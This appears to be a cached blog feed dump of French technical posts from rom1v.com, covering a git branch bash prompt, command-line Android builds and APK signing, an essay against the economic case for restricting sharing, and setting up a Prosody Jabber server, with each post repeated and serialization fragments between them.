J’utilise GIT depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des branches (et bien plus encore).

Branches visibles

Le but de ce billet est de répondre à un problème particulier : par manque d’attention, il m’est arrivé plusieurs fois de commiter des changements sur une mauvaise branche (j’étais persuadé d’être sur une branche, en fait j’étais sur une autre). Ce n’est pas très grave (on peut s’en sortir), mais c’est pénible.

Je souhaiterais donc avoir le nom de la branche dans le prompt bash.

Des solutions existent déjà : le paquet git embarque même un script qui répond au besoin. Certains utilisent aussi des scripts personnalisés. Mais aucun de ceux que j’ai trouvés ne me convenait. J’ai donc écrit mon propre script.

Mes prompts

Version simple

J’ai commencé par une version simple, qui ajoute en couleur @nomdelabranche à la fin du prompt. Un exemple vaut mieux qu’un long discours :

rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject/img@testing$ 

Dans une arborescence ayant plusieurs projets GIT imbriqués (dans le cas de l’utilisation de sous-modules), la branche des projets parents n’est pas affichée :

rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$

Version améliorée

Dans cette version simple, le nom de la branche est toujours affiché à la fin. Cela ne me convient pas, je le voudrais toujours à la racine du projet en question. C’est ce que permet la version améliorée.

Voici le résultat avec les mêmes commandes :

rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject@testing/img$ 

Et avec des sous-modules, la branche des projets parents est affichée :

rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject@master/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject@master/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$ 

En image :

Script

Le script, sous licence WTFPL, est disponible sur un dépôt git :

git clone http://git.rom1v.com/gitbashprompt.git

(ou sur github)

Une fois cloné, éditez le fichier ~/.bashrc pour remplacer l’initialisation de la variable PS1 :

    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

par :

    . your_cloned_repo/gitbashprompt

Pour tester, ouvrir un nouveau terminal.

Conclusion

Tout d’abord, je suis content d’avoir exactement le comportement que je souhaitais pour mon GIT.

Ensuite, j’ai découvert le fonctionnement du prompt, avec notamment les subtilités d’échappement de caractères de la variable PS1 et la prise en compte des caractères de contrôle « \[ » et « \] ».

Enfin, je me suis enfin décidé à étudier la gestion des couleurs de Bash (qui, à première vue, est assez repoussante, il faut bien l’avouer). Mes scripts seront donc plus jolis à l’avenir ;-)

";s:7:"dateiso";s:15:"20120405_012255";}s:15:"20120404_232255";a:7:{s:5:"title";s:20:"Prompt Bash pour GIT";s:4:"link";s:50:"http://blog.rom1v.com/2012/04/prompt-bash-pour-git";s:4:"guid";s:50:"http://blog.rom1v.com/2012/04/prompt-bash-pour-git";s:7:"pubDate";s:25:"2012-04-04T23:22:55+02:00";s:11:"description";s:0:"";s:7:"content";s:6147:"

J’utilise git depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des branches (et bien plus encore).

Branches visibles

Le but de ce billet est de répondre à un problème particulier : par manque d’attention, il m’est arrivé plusieurs fois de commiter des changements sur une mauvaise branche (j’étais persuadé d’être sur une branche, en fait j’étais sur une autre). Ce n’est pas très grave (on peut s’en sortir), mais c’est pénible.

Je souhaiterais donc avoir le nom de la branche dans le prompt bash.

Des solutions existent déjà : le paquet git embarque même un script qui répond au besoin. Certains utilisent aussi des scripts personnalisés. Mais aucun de ceux que j’ai trouvés ne me convenait. J’ai donc écrit mon propre script.

Mes prompts

Version simple

J’ai commencé par une version simple, qui ajoute en couleur @nomdelabranche à la fin du prompt. Un exemple vaut mieux qu’un long discours :

rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject/img@testing$ 

Dans une arborescence ayant plusieurs projets GIT imbriqués (dans le cas de l’utilisation de sous-modules), la branche des projets parents n’est pas affichée :

rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$ 

Version améliorée

Dans cette version simple, le nom de la branche est toujours affiché à la fin. Cela ne me convient pas, je le voudrais toujours à la racine du projet en question. C’est ce que permet la version améliorée.

Voici le résultat avec les mêmes commandes :

rom@rom-laptop:~/dev$ cd myproject/
rom@rom-laptop:~/dev/myproject@master$ git checkout testing
Switched to branch 'testing'
rom@rom-laptop:~/dev/myproject@testing$ cd img
rom@rom-laptop:~/dev/myproject@testing/img$ 

Et avec des sous-modules, la branche des projets parents est affichée :

rom@rom-laptop:~/dev$ cd mybigproject/
rom@rom-laptop:~/dev/mybigproject@master$ cd submodule/
rom@rom-laptop:~/dev/mybigproject@master/submodule@master$ git checkout exp
Switched to branch 'exp'
rom@rom-laptop:~/dev/mybigproject@master/submodule@exp$ cd ..
rom@rom-laptop:~/dev/mybigproject@master$ 

En image :

gitbashprompt

Script

Le script, sous licence WTFPL, est disponible sur un dépôt git :

git clone http://git.rom1v.com/gitbashprompt.git

(ou sur github)

Une fois cloné, éditez le fichier ~/.bashrc pour remplacer l’initialisation de la variable PS1 :

PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

par :

. full/path/to/your/gitbashprompt

Pour tester, ouvrir un nouveau terminal.

Conclusion

Tout d’abord, je suis content d’avoir exactement le comportement que je souhaitais pour mon git.

Ensuite, j’ai découvert le fonctionnement du prompt, avec notamment les subtilités d’échappement de caractères de la variable PS1 et la prise en compte des caractères de contrôle \[ et \].

Enfin, je me suis enfin décidé à étudier la gestion des couleurs de Bash (qui, à première vue, est assez repoussante, il faut bien l’avouer). Mes scripts seront donc plus jolis à l’avenir ;-)

";s:7:"dateiso";s:15:"20120404_232255";}s:15:"20120331_224156";a:7:{s:5:"title";s:28:"Android en ligne de commande";s:4:"link";s:59:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2944";s:7:"pubDate";s:31:"Sat, 31 Mar 2012 20:41:56 +0000";s:11:"description";s:381:"Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT). Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier. Installation […]";s:7:"content";s:11850:"


Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT).

Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier.

Installation

Avant tout, nous avons besoin du SDK Android :

wget http://dl.google.com/android/android-sdk_r17-linux.tgz
tar xf android-sdk_r17-linux.tgz
sudo mv /android-sdk-linux /opt

Sur un système 64 bits, ia32-libs est nécessaire (le SDK n’est disponible qu’en 32 bits) :

sudo apt-get install ia32-libs

Java et Ant doivent également être installés :

sudo apt-get install openjdk-6-jdk ant

Pour accéder facilement aux outils du SDK Android, il est préférable de rajouter leurs répertoires dans le PATH, en ajoutant la ligne suivante à la fin de ~/.bashrc :

PATH="$PATH:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools"

Configuration et téléchargement des packages

Ouvrir un nouveau terminal, et exécuter :

android

Une fenêtre s’ouvre, permettant d’installer de nouveaux packages.
Sélectionner « Available packages » et installer les « Tools » ainsi que les « SDK Platforms » pour les versions souhaitées, puis cliquer sur Install packages :

Il est aussi possible de créer un AVD (Android Virtual Device) à partir du menu Tools → Manage AVDs…. Dans la fenêtre qui s’ouvre, cliquer sur New…, puis configurer le téléphone et lui donner un nom :

Les AVD sont indifféremment configurables ici ou à partir d’Eclipse (au final, ils seront stockés dans ~/.android/avd).

Projet en ligne de commande

Pour créer un nouveau projet :

android create project \
-p path \
-t target \
-n name \
-k package \
-a activity

Par exemple :

android create project -p HelloWorld -t 1 -n HelloWorld -k com.rom1v.helloworld -a HelloWorld

Le projet généré est un hello world fonctionnel.

Pour connaître la liste des targets disponibles avec leurs ids :

$ android list targets
Available Android targets:
----------
id: 1 or "android-7"
     Name: Android 2.1
     Type: Platform
     API level: 7
     Revision: 3
     Skins: WVGA854, WQVGA432, QVGA, HVGA, WQVGA400, WVGA800 (default)
     ABIs : armeabi
----------
id: 2 or "android-13"
     Name: Android 3.2
     Type: Platform
     API level: 13
     Revision: 1
     Skins: WXGA (default)
     ABIs : armeabi
…

Pour modifier un projet existant :

android update project \
-p path \
-t target \
-n name

Par exemple, pour en changer la target (ici celle qui a pour id 2) :

android update project -p HelloWorld -t 2

Pour le compiler ou l’installer sur le téléphone, toutes les tâches Ant ont été générées (dans un fichier build.xml à la racine du projet). Voici les principales :

Android Ant Build. Available targets:
   help:      Displays this help.
   clean:     Removes output files created by other targets.
   compile:   Compiles project's .java files into .class files.
   debug:     Builds the application and signs it with a debug key.
   release:   Builds the application. The generated apk file must be
              signed before it is published.
   install:   Installs/reinstalls the debug package onto a running
              emulator or device.
              If the application was previously installed, the
              signatures must match.
   uninstall: Uninstalls the application from a running emulator or
              device.

Par exemple, pour générer un APK signé avec une clé de debug :

ant debug

Le fichier sera créé à l’emplacement bin/HelloWorld-debug.apk.

Eclipse ET la ligne de commande

Dans la majorité des cas, nous voulons que le projet soit utilisable à la fois dans Eclipse (pour développer) et en ligne de commande (pour automatiser la compilation, le déploiement…).

Manipuler un projet Eclipse en ligne de commande

Eclipse ne génère pas le script Ant lors de la création d’un projet Android. Heureusement, il est très simple de le générer manuellement :

android update project -t target -n nom_du_projet -p répertoire_du_projet

Importer dans Eclipse un projet créé en ligne de commande

Si vous avez créé un projet entièrement en ligne de commande et que vous décidez de l’importer par la suite dans Eclipse (parce qu’un IDE, c’est quand même bien pratique), c’est possible également.

Le projet restera dans le répertoire où il se trouve, donc si vous le voulez dans votre workspace Eclipse, déplacez-le maintenant.

Ensuite, il ne faut pas importer, mais créer un nouveau projet :
File → New → Android Project, sélectionner Create project from existing source et indiquer le chemin du projet dans Location.

Exécution

Un projet Android s’exécute soit sur un téléphone physique, soit sur un émulateur.

Émulateur

Pour démarrer un émulateur :

emulator -avd NomAVD

Par exemple :

emulator -avd MyPhone

Téléphone

Pour utiliser le téléphone branché en USB plutôt que l’émulateur, il est nécessaire d’activer l’option Paramètres → Applications → Développement → Débogage USB.

S’il n’est pas reconnu, c’est peut-être un problème de droits.
Dans ce cas, trouver le Vendor ID du matériel sur cette page puis créer un fichier /etc/udev/rules.d/51-android.rules (sauf sous Debian) contenant :

SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"

(remplacez XXXX par le Vendor ID)

Alternativement, il est possible de donner les droits à n’importe quel matériel. Pour cela, il suffit de ne pas filtrer par Vendor ID, et d’écrire simplement :

SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"

Installation et désinstallation

Ant

Il suffit d’utiliser les tâches Ant install et uninstall :

ant install

Dans ce cas, un seul périphérique doit être présent dans la liste :

$ adb devices
List of devices attached 
emulator-5554	device

Adb

adb (Android Debug Bridge) permet de communiquer avec le téléphone ou l’émulateur.
Pour installer une application :

adb install fichier.apk

Si à la fois le téléphone et l’émulateur sont détectés, il faut choisir grâce à -d ou -e (respectivement) :

adb -e install fichier.apk

Pour désinstaller, il faut connaître le nom du package (celui défini dans AndroidManifest.xml).

adb uninstall le.package.de.lapplication

Astuce : Pour extraire le nom du package à partir d’un fichier.apk :

aapt d badging fichier.apk | grep ^package

Signature d’un APK

Pour signer une application, nous avons tout d’abord besoin d’un keystore. Pour en créer un :

keytool -genkey -v -keystore ~/.android/rom.keystore -alias rom -validity 10000

(Google recommande de choisir une validité de plus de 25 ans, d’où les 10000 jours dans la commande ci-dessus)

Pour permettre à Ant de signer, il suffit de lui indiquer la clé à utiliser dans ant.properties (à la racine du projet) :

key.store=/home/rom/.android/rom.keystore
key.alias=rom

Ainsi, il signera automatiquement (en demandant le mot de passe) lors de l’exécution de :

ant release

Signature différée

Il est également possible de générer un APK non signé (par Ant, qui génère un fichier monprojet-unsigned.apk), et de le signer manuellement plus tard :

jarsigner -verbose -keystore ~/.android/rom.keystore monprojet-unsigned.apk rom

Pour vérifier que la signature a bien fonctionné :

jarsigner -verbose -verify -certs monprojet-unsigned.apk

(si c’est le cas, le fichier monprojet-unsigned.apk peut être renommé en monprojet-unaligned.apk)

Il ne reste plus qu’à aligner le fichier final :

zipalign -v 4 monprojet-unaligned.apk monprojet.apk

Sources

Merci aux billets de Freelan et de DMathieu dont je me suis beaucoup inspiré, en plus de la documentation officielle (incontournable).

";s:7:"dateiso";s:15:"20120331_224156";}s:15:"20120331_204156";a:7:{s:5:"title";s:28:"Android en ligne de commande";s:4:"link";s:58:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande";s:4:"guid";s:58:"http://blog.rom1v.com/2012/03/android-en-ligne-de-commande";s:7:"pubDate";s:25:"2012-03-31T20:41:56+02:00";s:11:"description";s:0:"";s:7:"content";s:12102:"

Ce billet décrit comment développer et compiler des applications pour Android en ligne de commande (en plus ou à la place d’Eclipse avec ADT).

EDIT : Il a été écrit à l’époque où Android n’utilisait pas Gradle. Il est maintenant obsolète.

Je trouve que c’est utile dans certains cas ; par exemple, il vaut mieux utiliser un script de build automatique, que chacun pourra réutiliser, plutôt qu’un wizard sur un IDE particulier.

Installation

Avant tout, nous avons besoin du SDK Android :

wget http://dl.google.com/android/android-sdk_r17-linux.tgz
tar xf android-sdk_r17-linux.tgz
sudo mv /android-sdk-linux /opt

Sur un système 64 bits, ia32-libs est nécessaire (le SDK n’est disponible qu’en 32 bits) :

sudo apt-get install ia32-libs

Java et Ant doivent également être installés :

sudo apt-get install openjdk-6-jdk ant

Pour accéder facilement aux outils du SDK Android, il est préférable de rajouter leurs répertoires dans le PATH, en ajoutant la ligne suivante à la fin de ~/.bashrc :

PATH="$PATH:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools"

Configuration et téléchargement des packages

Ouvrir un nouveau terminal, et exécuter :

android

Une fenêtre s’ouvre, permettant d’installer de nouveaux packages.

Sélectionner “Available packages” et installer les “Tools” ainsi que les “SDK Platforms” pour les versions souhaitées, puis cliquer sur Install packages :

android-sdk-manager

Il est aussi possible de créer un AVD (Android Virtual Device) à partir du menu Tools → Manage AVDs…. Dans la fenêtre qui s’ouvre, cliquer sur New…, puis configurer le téléphone et lui donner un nom :

android-avd

Les AVD sont indifféremment configurables ici ou à partir d’Eclipse (au final, ils seront stockés dans ~/.android/avd).

Projet en ligne de commande

Pour créer un nouveau projet :

android create project \
    -p path> \
    -t target \
    -n name \
    -k package \
    -a activity

Par exemple :

android create project -p HelloWorld -t 1 -n HelloWorld \
     -k com.rom1v.helloworld -a HelloWorld

Le projet généré est un hello world fonctionnel.

Pour connaître la liste des targets disponibles avec leurs _id_s :

$ android list targets
Available Android targets:
----------
id: 1 or "android-7"
     Name: Android 2.1
     Type: Platform
     API level: 7
     Revision: 3
     Skins: WVGA854, WQVGA432, QVGA, HVGA, WQVGA400, WVGA800 (default)
     ABIs : armeabi
----------
id: 2 or "android-13"
     Name: Android 3.2
     Type: Platform
     API level: 13
     Revision: 1
     Skins: WXGA (default)
     ABIs : armeabi

Pour modifier un projet existant :

android update project \
    -p path \
    -t target \
    -n name

Par exemple, pour en changer la target (ici celle qui a pour id 2) :

android update project -p HelloWorld -t 2

Pour le compiler ou l’installer sur le téléphone, toutes les tâches Ant ont été générées (dans un fichier build.xml à la racine du projet). Voici les principales :

Android Ant Build. Available targets:
   help:      Displays this help.
   clean:     Removes output files created by other targets.
   compile:   Compiles project's .java files into .class files.
   debug:     Builds the application and signs it with a debug key.
   release:   Builds the application. The generated apk file must be
              signed before it is published.
   install:   Installs/reinstalls the debug package onto a running
              emulator or device.
              If the application was previously installed, the
              signatures must match.
   uninstall: Uninstalls the application from a running emulator or
              device.

Par exemple, pour générer un APK signé avec une clé de debug :

ant debug

Le fichier sera créé à l’emplacement bin/HelloWorld-debug.apk.

Eclipse ET la ligne de commande

Dans la majorité des cas, nous voulons que le projet soit utilisable à la fois dans Eclipse (pour développer) et en ligne de commande (pour automatiser la compilation, le déploiement…).

Manipuler un projet Eclipse en ligne de commande

Eclipse ne génère pas le script Ant lors de la création d’un projet Android. Heureusement, il est très simple de le générer manuellement :

android update project -t target -n nom_du_projet \
     -p répertoire_du_projet

Importer dans Eclipse un projet créé en ligne de commande

Si vous avez créé un projet entièrement en ligne de commande et que vous décidez de l’importer par la suite dans Eclipse (parce qu’un IDE, c’est quand même bien pratique), c’est possible également.

Le projet restera dans le répertoire où il se trouve, donc si vous le voulez dans votre workspace Eclipse, déplacez-le maintenant.

Ensuite, il ne faut pas importer, mais créer un nouveau projet : File → New → Android Project, sélectionner Create project from existing source et indiquer le chemin du projet dans Location.

Exécution

Un projet Android s’exécute soit sur un téléphone physique, soit sur un émulateur.

Émulateur

Pour démarrer un émulateur :

emulator -avd NomAVD

Par exemple :

emulator -avd MyPhone

Téléphone

Pour utiliser le téléphone branché en USB plutôt que l’émulateur, il est nécessaire d’activer l’option Paramètres → Applications → Développement → Débogage USB.

S’il n’est pas reconnu, c’est peut-être un problème de droits. Dans ce cas, trouver le Vendor ID du matériel sur cette page puis créer un fichier /etc/udev/rules.d/51-android.rules (sauf sous Debian) contenant :

SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"

(remplacez XXXX par le Vendor ID)

Alternativement, il est possible de donner les droits à n’importe quel matériel. Pour cela, il suffit de ne pas filtrer par Vendor ID, et d’écrire simplement :

SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"

Installation et désinstallation

Ant

Il suffit d’utiliser les tâches Ant install et uninstall :

ant install

Dans ce cas, un seul périphérique doit être présent dans la liste :

$ adb devices
List of devices attached 
emulator-5554	device

Adb

adb (Android Debug Bridge) permet de communiquer avec le téléphone ou l’émulateur.

Pour installer une application :

adb install fichier.apk

Si à la fois le téléphone et l’émulateur sont détectés, il faut choisir grâce à -d ou -e (respectivement) :

adb -e install fichier.apk

Pour désinstaller, il faut connaître le nom du package (celui défini dans AndroidManifest.xml).

adb uninstall le.package.de.lapplication

Pour extraire le nom du package à partir d’un fichier.apk :

aapt d badging fichier.apk | grep ^package

Signature d’un APK

Pour signer une application, nous avons tout d’abord besoin d’un keystore. Pour en créer un :

keytool -genkey -v -keystore ~/.android/rom.keystore -alias rom -validity 10000

(Google recommande de choisir une validité de plus de 25 ans, d’où les 10000 jours dans la commande ci-dessus)

Pour permettre à Ant de signer, il suffit de lui indiquer la clé à utiliser dans ant.properties (à la racine du projet) :

key.store=/home/rom/.android/rom.keystore
key.alias=rom

Il est également possible de pré-remplir les mots de passe :

key.store.password=PASSWORD
key.alias.password=PASSWORD

Ainsi, il signera automatiquement lors de l’exécution de :

ant release

Signature différée

Il est également possible de générer un APK non signé (par Ant, qui génère un fichier monprojet-unsigned.apk), et de le signer manuellement plus tard :

jarsigner -verbose -keystore ~/.android/rom.keystore monprojet-unsigned.apk rom

La clé de debug générée par le SDK se trouve dans ~/.android/debug.keystore, son alias est androiddebugkey et son mot de passe est android.

Pour vérifier que la signature a bien fonctionné :

jarsigner -verbose -verify -certs monprojet-unsigned.apk

(si c’est le cas, le fichier monprojet-unsigned.apk peut être renommé en monprojet-unaligned.apk)

Il ne reste plus qu’à aligner le fichier final :

zipalign -v 4 monprojet-unaligned.apk monprojet.apk

Sources

Merci aux billets de Freelan et de DMathieu dont je me suis beaucoup inspiré, en plus de la documentation officielle (incontournable).

";s:7:"dateiso";s:15:"20120331_204156";}s:15:"20120129_155453";a:7:{s:5:"title";s:42:"L’argument économique contre le partage";s:4:"link";s:69:"http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3735";s:7:"pubDate";s:31:"Sun, 29 Jan 2012 14:54:53 +0000";s:11:"description";s:409:"Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ? Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul […]";s:7:"content";s:4140:"

Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ?

Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul impliquent un prix nul. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.

Mais par ailleurs, l’objectif de l’économie, c’est de surmonter au mieux la rareté. C’est là que la justification économique devient absurde : il s’agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l’économie est de résoudre les problèmes que pose la rareté. Ce serait lutter contre l’objectif afin de conserver ce contre quoi on lutte.

En clair, l’économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s’applique qu’à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait interdire le soleil.

Bien sûr, je ne dis pas qu’il faut supprimer l’économie ; je dis juste qu’elle ne s’applique qu’aux domaines de rareté. Dans le cas limite où tout serait surabondant, n’appliquer l’économie qu’aux domaines de la rareté conduirait effectivement à la suppression totale de l’économie. Dans ce monde imaginaire, ce serait très logique : si chacun pouvait tout avoir sans effort, pourquoi restreindre l’accès aux biens en le conditionnant à une « rémunération » qui n’aurait alors aucun sens ? Tout le monde y serait perdant.

Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d’abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l’économie. Quel paradoxe !

Solutions

Ce billet a pour unique but de rejeter l’argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.

Selon moi, les solutions à envisager, quelles qu’elles soient, doivent respecter le principe que nous avons posé.

C’est le cas de la contribution créative (ou licence globale). Mais cette proposition amène quelques critiques (ici et par exemple).

Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d’un problème plus général, dont (au moins une partie de) la solution est le dividende universel.

Billets en relation

";s:7:"dateiso";s:15:"20120129_155453";}s:15:"20120129_145453";a:7:{s:5:"title";s:40:"L'argument économique contre le partage";s:4:"link";s:68:"http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage";s:4:"guid";s:68:"http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage";s:7:"pubDate";s:25:"2012-01-29T14:54:53+01:00";s:11:"description";s:0:"";s:7:"content";s:3689:"

Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ?

Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul impliquent un prix nul. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.

Mais par ailleurs, l’objectif de l’économie, c’est de surmonter au mieux la rareté. C’est là que la justification économique devient absurde : il s’agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l’économie est de résoudre les problèmes que pose la rareté. Ce serait lutter contre l’objectif afin de conserver ce contre quoi on lutte.

En clair, l’économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s’applique qu’à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait interdire le soleil.

Bien sûr, je ne dis pas qu’il faut supprimer l’économie ; je dis juste qu’elle ne s’applique qu’aux domaines de rareté. Dans le cas limite où tout serait surabondant, n’appliquer l’économie qu’aux domaines de la rareté conduirait effectivement à la suppression totale de l’économie. Dans ce monde imaginaire, ce serait très logique : si chacun pouvait tout avoir sans effort, pourquoi restreindre l’accès aux biens en le conditionnant à une “rémunération” qui n’aurait alors aucun sens ? Tout le monde y serait perdant.

Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d’abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l’économie. Quel paradoxe !

Solutions

Ce billet a pour unique but de rejeter l’argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.

Selon moi, les solutions à envisager, quelles qu’elles soient, doivent respecter le principe que nous avons posé.

C’est le cas de la contribution créative (ou licence globale). Mais cette proposition amène quelques critiques (ici et par exemple).

Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d’un problème plus général, dont (au moins une partie de) la solution est le dividende universel.

Billets en relation

";s:7:"dateiso";s:15:"20120129_145453";}s:15:"20120106_231258";a:7:{s:5:"title";s:48:"Héberger un serveur Jabber simplement (prosody)";s:4:"link";s:76:"http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3696";s:7:"pubDate";s:31:"Fri, 06 Jan 2012 22:12:58 +0000";s:11:"description";s:423:"J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons : la liste de mes contacts est mieux sur mon serveur que sur un autre ; le serveur que j’utilisais (jabber.fr) rencontre parfois quelques difficultés ; mon adresse Jabber sera ainsi la même que mon adresse mail (rom suivi de @rom1v.com). Et c’est simple ! Installation et configuration […]";s:7:"content";s:4184:"

J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons :

Et c’est simple !

Installation et configuration

Tout d’abord, installer le paquet prosody :

apt-get install prosody

Puis ajouter à la fin du fichier /etc/prosody/prosody.cfg.lua :

Host "nom.de.domaine"

Pour moi :

Host "rom1v.com"

Créer un utilisateur en ligne de commandes et choisir un mot de passe :

prosodyctl adduser user@nom.de.domaine

Certificat

Un certificat TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (localhost au lieu de nom.de.domaine par exemple). Il est donc préférable d’en générer un nouveau.

Dans le répertoire /etc/prosody/certs, exécuter :

openssl req -new -x509 -nodes -out nom.de.domaine.cert -keyout nom.de.domaine.key -days 1000

Renseigner les champs demandés (« . » pour laisser un champ vide).

Remplacer le certificat dans le fichier de configuration :

ssl = {
        key = "/etc/prosody/certs/nom.de.domaine.key";
        certificate = "/etc/prosody/certs/nom.de.domaine.cert";
}

Empreinte

Comme c’est un certificat auto-signé, les clients Jabber ne lui feront pas confiance : ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c’est-à-dire que l’empreinte est la même.

Pour la connaître :

openssl x509 -fingerprint -noout -in nom.de.domaine.cert

Par exemple :

$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD

Ports

Les ports TCP 5222 et 5269 doivent être ouverts.

Démarrer

Il ne reste plus qu’à démarrer le service.

service prosody start

Clients

Il est maintenant possible de se connecter en utilisant le nom d’utilisateur et le mot de passe créés :

Backup

Les données du serveur sont stockées dans /var/lib/prosody. Il est donc important de ne pas oublier ce répertoire dans le processus de sauvegarde.

Merci à Cyrille Borne et nicolargo.

";s:7:"dateiso";s:15:"20120106_231258";}s:15:"20120106_221258";a:7:{s:5:"title";s:48:"Héberger un serveur Jabber simplement (prosody)";s:4:"link";s:75:"http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody";s:4:"guid";s:75:"http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody";s:7:"pubDate";s:25:"2012-01-06T22:12:58+01:00";s:11:"description";s:0:"";s:7:"content";s:3940:"

jabber

J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons :

Et c’est simple !

Installation et configuration

Tout d’abord, installer le paquet prosody :

apt-get install prosody

Puis ajouter à la fin du fichier /etc/prosody/prosody.cfg.lua :

Host "<em>nom.de.domaine</em>"

Pour moi :

Host "rom1v.com"

Créer un utilisateur en ligne de commande et choisir un mot de passe :

prosodyctl adduser utilisateur@nom.de.domaine

Certificat

Un certificat TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (localhost au lieu de nom.de.domaine par exemple). Il est donc préférable d’en générer un nouveau.

Dans le répertoire /etc/prosody/certs, exécuter :

openssl req -new -x509 -nodes -out nom.de.domaine.cert -keyout \
    nom.de.domaine.key -days 1000

Renseigner les champs demandés . » pour laisser un champ vide).

Remplacer le certificat dans le fichier de configuration :

ssl = {
        key = "/etc/prosody/certs/nom.de.domaine.key";
        certificate = "/etc/prosody/certs/nom.de.domaine.cert";
}

Empreinte

